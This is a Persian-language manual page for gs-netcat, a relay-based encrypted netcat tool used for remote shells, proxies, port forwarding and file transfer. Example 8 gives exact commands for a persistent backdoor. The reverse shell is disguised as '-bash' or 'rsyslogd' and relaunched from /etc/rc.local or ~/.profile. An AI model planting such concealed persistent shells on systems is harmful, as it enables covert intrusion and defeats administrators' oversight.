| GS-NETCAT(1) | General Commands Manual | GS-NETCAT(1) |
نام (NAME)
gs-netcat —
انتقال
داده،
هدایت
ترافیک و
اجرای
دستورات
روی میزبان
راه دور
بهصورت
امن
خلاصه دستور (SYNOPSIS)
gs-netcat
[-rlgvqwCTSDiu] [-s
secret] [-k
keyfile] [-L
logfile] [-d
IP] [-p
port] [-e
cmd]
توضیحات (DESCRIPTION)
ابزار
gs-netcat یک
پیادهسازی
مجدد از netcat
است. این
ابزار به دو
یا چند
کاربر
اجازه
میدهد تا
در
سناریویی
که تمامی
کاربران
پشت NAT یا
فایروال
قرار دارند
و
نمیتوانند
بهصورت
مستقیم به
یکدیگر
متصل شوند،
یک اتصال
امن TCP
برقرار
کنند؛
بهویژه در
سناریوی
برقراری
اتصال میان
یک ایستگاه
کاری و
ایستگاه
کاری دیگر
در یک شبکه
محلی (LAN)
متفاوت.
این ابزار به جای اتصالات مستقیم TCP، از شبکه رله سوکت سراسری (GSRN) استفاده میکند. هیچکدام از ایستگاههای کاری نیازی به باز کردن پورت در فایروال خود یا پذیرش اتصالات TCP ورودی ندارند.
اتصال با استفاده از پروتکل SRP (مطابق با RFC 5054) همراه با الگوریتم AES-256 و عدد اول ۴۰۹۶ بیتی بهصورت سرتاسری (End-to-End) رمزگذاری میشود. شبکه GSRN تنها ترافیک رمزگذاریشده را مشاهده میکند.
کاربردهای متداول شامل موارد زیر است:
- پروکسیهای ساده TCP
- پوسته PTY
- انتقال فایل
- دستور ProxyCommand سوکس (SOCKS) برای ssh(1)
- و کاربردهای بسیار دیگر.
گزینهها (OPTIONS)
-C- غیرفعال کردن رمزگذاری و استفاده از متن ساده (clear-text). با احتیاط استفاده شود.
-dip- آدرس IPv4 مقصد برای هدایت پورت (port forwarding).
-D- حالت دیمن و
ناظر (Daemon & Watchdog).
اجرای
gs-netcatبه عنوان یک پردازه پسزمینه و راهاندازی مجدد در صورت متوقف شدن. -ecmd- اجرای دستور و ارسال خروجی به کلاینت متصلشده. نیازمند گزینه l- است.
-g- تولید یک گذرواژه تصادفی امن و چاپ آن در خروجی استاندارد.
-i- پوسته تعاملی ورود به سیستم (Interactive login shell). سرور یک شل ورودی PTY واقعی ایجاد میکند و کلاینت به عنوان یک کلاینت PTY واقعی عمل میکند (با پشتیبانی از Ctrl-C و غیره). کلاینت میتواند نشست را در هر زمان با فشردن 'Ctrl-e q' یا وارد کردن 'exit' خاتمه دهد. سرور از چندین کلاینت همزمان پشتیبانی میکند.
-kfile- فایل حاوی گذرواژه.
-l- حالت شنود/سرور. حالت پیشفرض، کلاینت است.
-Lfile- فایل ثبت گزارش (لاگ) [پیشفرض: خروجی استاندارد].
-pport- پورت مورد نظر برای شنود یا هدایت ترافیک به آن [۱-۶۵۵۳۵].
-q- حالت بیصدا (Quiet). هیچ هشدار یا خطایی را چاپ نمیکند.
-r- فقط دریافت داده (Receive-only). دادهای ارسال نمیشود. هنگامی که داده دیگری برای خواندن در دسترس نباشد، پردازه متوقف میشود.
-ssecret- یک گذرواژه برگزیده توسط کاربر. هر دو کاربر برای اتصال باید از گذرواژه یکسانی استفاده کنند.
-S- عملکرد به
عنوان سرور
SOCKS4/4a/5. سرور به
عنوان
پروکسی SOCKS4/4a/5
عمل میکند
و به چندین
کلاینت
gs-netcatاجازه میدهد تا ترافیک را (بهصورت امن) از طریق سرور رله کنند. نیازمند گزینه l- است. -T- استفاده از
شبکه تور (TOR).
ابزار
gs-netcatاز طریق شبکه TOR به GSRN متصل خواهد شد. این گزینه نیازمند نصب و فعال بودن TOR است. آدرس IP و پورت سرور TOR با متغیرهای محیطی قابل تنظیم است. -t- تنها اتصال به GSRN و بررسی وضعیت شنود طرف مقابل. به طرف مقابل متصل نمیشود.
-u- استفاده از UDP به جای TCP برای هدایت پورت. نیازمند گزینه p- است.
-v- چاپ پیامهای وضعیت. از vv- برای جزئیات بیشتر و vvv- برای جزئیات بسیار کامل استفاده کنید.
-w- انتظار کلاینت برای در دسترس قرار گرفتن سرور در حال شنود.
کنسول دستورات (CONSOLE)
پوسته تعاملی ورود (گزینه -i ) دارای یک کنسول دستورات است. فشردن 'Ctrl-e c' کنسول دستورات را باز میکند. کنسول دستورات اطلاعات زیر را نمایش میدهد:
- زمان تأخیر (به میلیثانیه) تا میزبان راه دور
- هشدار هنگام ورود یا فعال شدن یک کاربر در سیستم
- نرخ انتقال داده (throughput)
- گزارشهای انتقال فایل
انتقال فایل (FILETRANSFER)
انتقال فایل از طریق کنسول دستورات در دسترس است. فایلها با حفظ دسترسیها و برچسب زمانی تغییر، منتقل میشوند. فایلهایی که انتقال آنها ناتمام مانده است، از همان نقطه توقف از سر گرفته میشوند. دستور 'put' برای بارگذاری (آپلود) استفاده میشود:
put foobar.txtput $HOME/foobar.txtput /tmp/*.logput $(find. -type f -name
'*.c')put /foo/./bar/baz.cget foobar.txtget $(find /var/./ -name
'*.log')get /var/logget /مثالها (EXAMPLES)
مثال ۱
- شنود برای
دریافت
اتصال جدید
با استفاده
از گذرواژه
'MySecret':
$ gs-netcat -s MySecret
-lاتصال کلاینت با استفاده از همان گذرواژه:
$ gs-netcat -s MySecretمثال ۲
- ایجاد یک شل
لاگین PTY
هنگام
اتصال
کلاینت:
$ gs-netcat -s MySecret -l
-iورود به شل تعاملی سرور:
$ gs-netcat -s MySecret
-iورود از طریق شبکه TOR:
$ gs-netcat -s MySecret -i
-Tورود از طریق یک پروکسی Socks5:
$ export
GSOCKET_SOCKS_IP=127.0.0.1$ export
GSOCKET_SOCKS_PORT=1080$ gs-netcat -s MySecret -i
-Tمثال ۳
- اجرای یک
دستور
هنگام
اتصال
کلاینت:
$ gs-netcat -s MySecret -l -e 'echo
hello world; id; exit'اتصال کلاینت به سرور:
$ gs-netcat -s MySecretمثال ۴
- انتقال
داده با
پایپ (Pipe) از
کلاینت به
سرور:
$ gs-netcat -s MySecret -l -r
>warez.tar.gzخواندن فایل 'warez.tar.gz' توسط کلاینت و پایپ آن به سرور:
$ gs-netcat -s MySecret
<warez.tar.gzمثال ۵
- تنظیم سرور
برای عمل به
عنوان سرور
SOCKS4/4a/5:
$ gs-netcat -s MySecret -l
-Sشنود کلاینت روی پورت TCP شماره ۱۰۸۰ و هدایت هر اتصال جدید به سرور SOCKS:
$ gs-netcat -s MySecret -p
1080مثال ۶
- هدایت پورت
TCP برای تمام
اتصالات به
192.168.6.7:22. سرور:
$ gs-netcat -s MySecret -l -d
192.168.6.7 -p 22شنود کلاینت روی پورت TCP شماره ۲۲۲۲ و هدایت اتصالات جدید به سرور. سپس سرور اتصال را به 192.168.6.7:22 فوروارد میکند:
$ gs-netcat -s MySecret -p
2222$ ssh -p 2222
root@127.0.0.1انجام همین کار با یک دستور منفرد:
$ ssh -o ProxyCommand='gs-netcat -s
MySecret' root@ignoredمثال ۷
- ایجاد یک
سرور SFTP با
استفاده از
gs-netcat:
$ gs-netcat -s MySecret -l -e
/usr/lib/sftp-serverباینری sftp-server پروتکل sftp را روی stdin/stdout پیادهسازی میکند. باینری sftp نیز همین پروتکل را روی ورودی/خروجی استاندارد صحبت میکند. این ابزار میتواند برای اتصال هر دو از طریق GSRN (بهصورت رمزگذاریشده) و دسترسی کلاینت به سرور SFTP سمت سرور به کار رود:
$ export GSOCKET_ARGS='-s
MySecret'$ sftp -D gs-netcatمثال ۸
- شل معکوس PTY
رمزگذاریشده
و
پنهانشده
با نام 'bash-' در
فهرست
پردازهها
(معروف به در
پشتی یا Backdoor):
$ (GSOCKET_ARGS="-s MySecret
-liqD" exec -a -bash gs-netcat)سطر زیر در /etc/rc.local در پشتی را پس از هر بار راهاندازی مجدد سیستم آغاز میکند:
GSOCKET_ARGS="-s MySecret
-liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash"
/bin/bash -c "cd $HOME; exec -a rsyslogd
/usr/local/bin/gs-netcat"سطر زیر در /etc/rc.local یک فوروارد پورت به 127.0.0.1:22 را راهاندازی میکند:
GSOCKET_ARGS="-k MySecret2 -lqD
-d 127.1 -p22" /bin/bash -c "exec -a rsyslogd
/usr/local/bin/gs-netcat"سطر زیر در پروفایل کاربر (~/.profile) در پشتی را (یکبار) هنگام ورود کاربر اجرا میکند. همه در یک سطر:
killall -0 gs-netcat 2>/dev/null
|| (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash
/usr/local/bin/gs-netcat)پرانتزهای '(...)' یک زیرپوسته (sub-shell) ایجاد میکنند که سپس (توسط exec) با پردازه gs-netcat جایگزین میشود. پردازه در فهرست پردازهها (به عنوان bash-) مخفی میشود.
اتصال کلاینت به در پشتی:
$ gs-netcat -s MySecret
-iمحیط (ENVIRONMENT)
متغیرهای
محیطی زیر
را میتوان
برای کنترل
رفتار gs-netcat
تنظیم کرد:
GSOCKET_SOCKS_IP
تعیین
آدرس IP سرور TOR
(یا هر سرور SOCKS
دیگر). همراه
با T- استفاده
میشود.
پیشفرض 127.0.0.1
است.GSOCKET_SOCKS_PORT
شماره
پورت سرور TOR
(یا هر سرور SOCKS
دیگر). همراه
با T- استفاده
میشود.
پیشفرض 9050
است.GSOCKET_ARGS
رشتهای
حاوی
پارامترهای
اضافی خط
فرمان.
ابتدا
پارامترهای
عادی خط
فرمان
پردازش شده
و سپس
پارامترهای
خط فرمان
موجود در GSOCKET_ARGS
اعمال
میشوند.امنیت (SECURITY)
ارسال گذرواژه به عنوان پارامتر خط فرمان امن نیست. استفاده از گزینه k- یا متغیر GSOCKET_ARGS یا وارد کردن گذرواژه در هنگام اعلان ورودی را مد نظر قرار دهید:
$ gs-netcat -k
<file>$ export GSOCKET_ARGS="-s
MySecret"$ gs-netcat۱.
امنیت
بهصورت
سرتاسری (End-to-End)
است؛ بدین
معنی که
رمزگذاری
از کاربر به
کاربر
برقرار است
(و نه صرفاً
تا سرورهای
GSRN). شبکه GSRN
تنها
دادههای
(رمزگذاریشده)
را میان
کاربران
رله
میکند.
۲. نشست
ارتباطی
۲۵۶ بیتی و
موقت (ephemeral) است.
برای هر
نشست
بهطور
تصادفی از
ابتدا
تولید
میشود (و بر
پایه
گذرواژه
ساخته
نمیشود).
این ابزار
از SRP
کتابخانه OpenSSL
با
الگوریتم AES-256
و عدد اول
۴۰۹۶ بیتی
استفاده
میکند.
۳.
گذرواژه
میتواند
«ضعیف»
باشد بدون
اینکه
امنیت نشست
تضعیف شود.
یک حمله
جستجوی
فراگیر (brute force)
به یک
گذرواژه
ضعیف، برای
هر بار حدس
زدن
نیازمند یک
اتصال TCP
جدید است.
۴. از
گذرواژههای
ساده و
ناامن
مانند 'password123'
استفاده
نکنید.
نفوذگر
ممکن است
تصادفاً
همان
گذرواژه را
انتخاب
کرده و متصل
شود. در صورت
تردید، از
دستور gs-netcat -g
برای تولید
گذرواژهای
قوی
استفاده
کنید.
گذرواژه
طرفین
ارتباط
باید حداقل
به
اندازهای
قوی باشد که
مهاجم
نتواند
تصادفاً در
مدتی که یکی
منتظر
اتصال
دیگری است،
آن را حدس
بزند.
۵. اگر
شخصی
گذرواژه
یکسانی را
با دو نفر به
اشتراک
بگذارد و
یکی از آنها
متصل شود،
شخص
نمیتواند
تشخیص دهد
چه کسی متصل
شده است.
۶. فرض
کنید فردی
گذرواژه
مشترکی با
کاربر مجاز
و نفوذگر
دارد.
هنگامی که
کاربر مجاز
شنود را
متوقف کند،
نفوذگر
میتواند
به جای او
شروع به
شنود کند.
کلاینت
هنگام
اتصال
نمیتواند
تشخیص دهد
به کاربر
مجاز متصل
شده یا به
نفوذگر. در
صورت
نگرانی در
این رابطه،
از گزینه a <token>-
استفاده
کنید. خلاصه:
هنگام
اشتراکگذاری
یک گذرواژه
با گروهی
بیش از ۲
نفر، فرض بر
این است که
همه افراد
با حسننیت
رفتار
میکنند؛
در غیر این
صورت از SSH بر
بستر اتصال
GS/TLS استفاده
کنید.
۷.
پروتکل SRP
دارای
رازداری
پیشرو
کامل (Perfect Forward Secrecy)
است؛ بدین
معنی که حتی
با افشای
گذرواژه در
آینده،
نشستهای
ثبتشده
گذشته قابل
رمزگشایی
نخواهند
بود.
نکات (NOTES)
جدیدترین نسخه از طریق نشانی https://github.com/hackerschoice/gsocket در دسترس است.
همچنین ببینید (SEE ALSO)
gsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1)
اشکالات (BUGS)
تلاشهای
زیادی
انجام شده
است تا gs-netcat
در تمامی
حالتهای
گوناگون
خود
«عملکرد
صحیح»
داشته باشد.
چنانچه
احساس
میکنید
تحت شرایطی
رفتار
نادرستی
نشان
میدهد،
لطفاً به
نشانی (skyper@thc.org)
اطلاع داده
و نحوه
رفتار مورد
انتظار را
بیان
فرمایید.
| October 8, 2020 | Linux 6.12.107+deb13-amd64 |